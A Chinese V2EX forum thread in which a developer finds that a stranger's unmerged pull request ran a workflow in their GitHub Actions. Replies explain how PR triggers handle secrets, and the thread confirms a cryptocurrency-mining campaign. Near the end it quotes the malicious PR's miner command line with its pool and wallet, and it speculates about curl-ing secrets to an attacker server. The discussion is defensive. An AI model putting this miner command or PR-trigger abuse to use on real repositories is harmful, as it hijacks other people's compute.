V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
Drinker
V2EX  ›  GitHub

关于 github 中的 workflow 可以随便执行的问题

  •  
  •   Drinker · 2021-04-12 10:33:11 +08:00 · 2350 次点击
    这是一个创建于 1081 天前的主题,其中的信息可能已经有所发展或是发生改变。

    这两天发生的,之前申请了个 360 E5 的账号,用 github 的 workflow 跑 API 来续期,然后这两天发现有个家伙提了个 pr, 就是此人 https://github.com/laksjduetryuism,然后再 actions 里面看看到对方提的 pr 可以直接再工作流里面执行, https://imgur.com/xyv9435, pr 我还没有合并, https://imgur.com/bAV9nqm, 就直接生效了?如果这样可以执行不是就可以获取我再项目里面设置的 id 和 secret ... 害怕。。。

    第 1 条附言  ·  2021-04-12 14:03:22 +08:00

    经过老哥的提醒,已确认是挖矿: https://zhuanlan.zhihu.com/p/363729726

    29 条回复    2021-04-13 07:40:03 +08:00
    just1
        1
    just1  
       2021-04-12 10:37:28 +08:00
    ...你的 workflow 的触发条件有 pr,不这样才奇怪呢。执行归执行除非在执行中输出了 secret,不然别人又看不到
    Drinker
        2
    Drinker  
    OP
       2021-04-12 10:49:07 +08:00
    @just1 不知道是不是我理解错掉。如果 workflow 的触发条件有 pr,那执行的也是应该是我自己的 workflow,而不是 pr 里面的 workflow,他提过来的 pr 里面是一个 workflow 的 yml 定义文件,假设他再 yml 里面使用 curl 发送一个附带了 环境变量 ID_LIST 和 KEY_LIST 到他的服务器上,那不是就被盗了 id 和 secret ...
    InternetExplorer
        3
    InternetExplorer  
       2021-04-12 10:54:10 +08:00
    开源项目也没什么问题吧
    2wex
        4
    2wex  
       2021-04-12 10:57:20 +08:00
    PR 触发的 action 不能获取 secret

    放心,只要你遵守 github actions 的规矩,它还是很安全的
    coolcoffee
        5
    coolcoffee  
       2021-04-12 11:08:16 +08:00
    Pull Request Trigger 执行的你项目分支的,所以就算别人提交触发了你原有流程,也不会造成什么太大影响。secret 就算被误输出也会被打码掉。
    baobao1270
        6
    baobao1270  
       2021-04-12 11:34:23 +08:00 via Android
    好像听说最近有人拿 action 挖矿的,专门找小众 repo 提 pr
    Drinker
        7
    Drinker  
    OP
       2021-04-12 11:39:58 +08:00
    @InternetExplorer 已经续期了三次,项目没问题。
    Drinker
        8
    Drinker  
    OP
       2021-04-12 11:41:27 +08:00
    @2wex 如果提交的分支里面使用 curl 发送一个附带了 环境变量 ID 和 KEY 的请求到自己的服务器上不知道会不会被盗掉,等有时间我试试。
    Drinker
        9
    Drinker  
    OP
       2021-04-12 11:43:01 +08:00
    @coolcoffee 如果分支里面使用 curl 发送请求,参数是环境变量里面的 secret,不知道会不会被发出去...
    Drinker
        10
    Drinker  
    OP
       2021-04-12 11:43:54 +08:00
    @baobao1270 有可能,我看 yml 里面下了一个脚本,但是是再 win 上跑的,在我这没跑起来。
    learningman
        11
    learningman  
       2021-04-12 12:09:24 +08:00 via Android
    @Drinker 你没看懂人家在说什么吗。。。环境变量里根本就不会有 secret
    dingwen07
        12
    dingwen07  
       2021-04-12 12:11:32 +08:00 via iPhone
    触发器不包括 pr 应该就可以吧
    顺便这个用户感觉很可疑,可能是滥用用户,准备报告一下
    楼主的自动跑 API 的 yaml 能否分享一下
    coolcoffee
        13
    coolcoffee  
       2021-04-12 12:21:10 +08:00
    @Drinker 只要你别把代码合并到你的 GitHub 仓库里面,它做仓库代码上的 action 就不可能在你的仓库上执行。

    PR trigger 很常见的,像开源项目提交前会做好多规则检查。全部绿色通过以后才可以继续合并。
    otakustay
        14
    otakustay  
       2021-04-12 12:24:33 +08:00
    workflow 触发条件是 PR 就是用来验证 PR 是否合格能否合并的,只触发你自己 PR 还有啥用
    Drinker
        15
    Drinker  
    OP
       2021-04-12 13:13:05 +08:00
    Drinker
        16
    Drinker  
    OP
       2021-04-12 13:15:30 +08:00
    @learningman 我可能没搞清楚,因为看到这个
    ```
    env:
    ID_LIST: ${{ secrets.ID_LIST }} # secrets_id 提供
    KEY_LIST: ${{ secrets.KEY_LIST }} # secrets_key 提供
    ID_LIST2: ${{ secrets.ID_LIST2 }} # secrets_id 提供
    KEY_LIST2: ${{ secrets.KEY_LIST2 }} # secrets_key 提供
    run: |
    echo $ID_LIST > idlist.txt
    echo $KEY_LIST > keylist.txt
    ```
    所以很奇怪。
    Drinker
        17
    Drinker  
    OP
       2021-04-12 13:22:16 +08:00
    @coolcoffee 我没有合并 pr,但是的确在我的 aciton 里面有执行的情况,只不过 window 的 yml 无法执行,所以没有成功。
    相同的受害者 https://github.com/hjdd777/AutoApiS/actions 。这个人和我一样,也被提交了 pr
    Drinker
        18
    Drinker  
    OP
       2021-04-12 13:24:44 +08:00
    @otakustay 那是不是说有可能出现上面我说的那种情况,能获取得到我设置的 id 和 secret 。上面有个老哥说不行,我也不清楚。因为触发 api 的 yml 文件里面是获取了 id 和 secret 才触发的 api 。
    hzcer
        19
    hzcer  
       2021-04-12 13:30:58 +08:00 via iPhone
    可以看看 repo 设置中 Actions - Actions permissions
    Trim21
        20
    Trim21  
       2021-04-12 13:35:06 +08:00 via Android
    …他读不到你的 secrets
    mangoDB
        21
    mangoDB  
       2021-04-12 13:38:21 +08:00
    楼主请看这个帖子。

    [黑客用 GitHub 服务器挖矿,三天跑了 3 万个任务,代码惊现中文]( https://zhuanlan.zhihu.com/p/363729726 )
    laoyur
        22
    laoyur  
       2021-04-12 13:42:49 +08:00
    哈哈,挖矿挖到楼主头上了,笑出声
    Drinker
        23
    Drinker  
    OP
       2021-04-12 13:48:29 +08:00
    @hzcer OK,我去瞅瞅。
    Drinker
        24
    Drinker  
    OP
       2021-04-12 13:48:54 +08:00
    @Trim21 那就好,谢谢。
    Drinker
        25
    Drinker  
    OP
       2021-04-12 13:49:58 +08:00
    @mangoDB 就是这个....
    npm.exe --algorithm argon2id_chukwa2
    --pool turtlecoin.herominers.com:10380
    --wallet TRTLv3ZvhUDDzXp9RGSVKXcMvrPyV5yCpHxkDN2JRErv43xyNe5bHBaFHUogYVc58H1Td7vodta2fa43Au59Bp9qMNVrfaNwjWP
    --password xo
    yml 文件里面就是下载 npm.exe 和 nani.bat 。
    Drinker
        26
    Drinker  
    OP
       2021-04-12 13:50:58 +08:00
    @laoyur 第一次遇到这种,应该就是上面说的挖矿了。
    patrickyoung
        27
    patrickyoung  
       2021-04-12 16:29:08 +08:00 via iPhone
    这个 bug 已经有人在 src 交了,现在是有设置的,自己去设置里设只允许本地就行
    Drinker
        28
    Drinker  
    OP
       2021-04-12 19:19:48 +08:00
    @patrickyoung 谢谢,已经给官方处理了。
    raaaaaar
        29
    raaaaaar  
       2021-04-13 07:40:03 +08:00 via Android
    自由就是被这群人加了限制。。
    关于   ·   帮助文档   ·   博客   ·   API   ·   FAQ   ·   我们的愿景   ·   实用小工具   ·   1544 人在线   最高记录 6543   ·     Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 · 26ms · UTC 17:01 · PVG 01:01 · LAX 10:01 · JFK 13:01
    Developed with CodeLauncher
    ♥ Do have faith in what you're doing.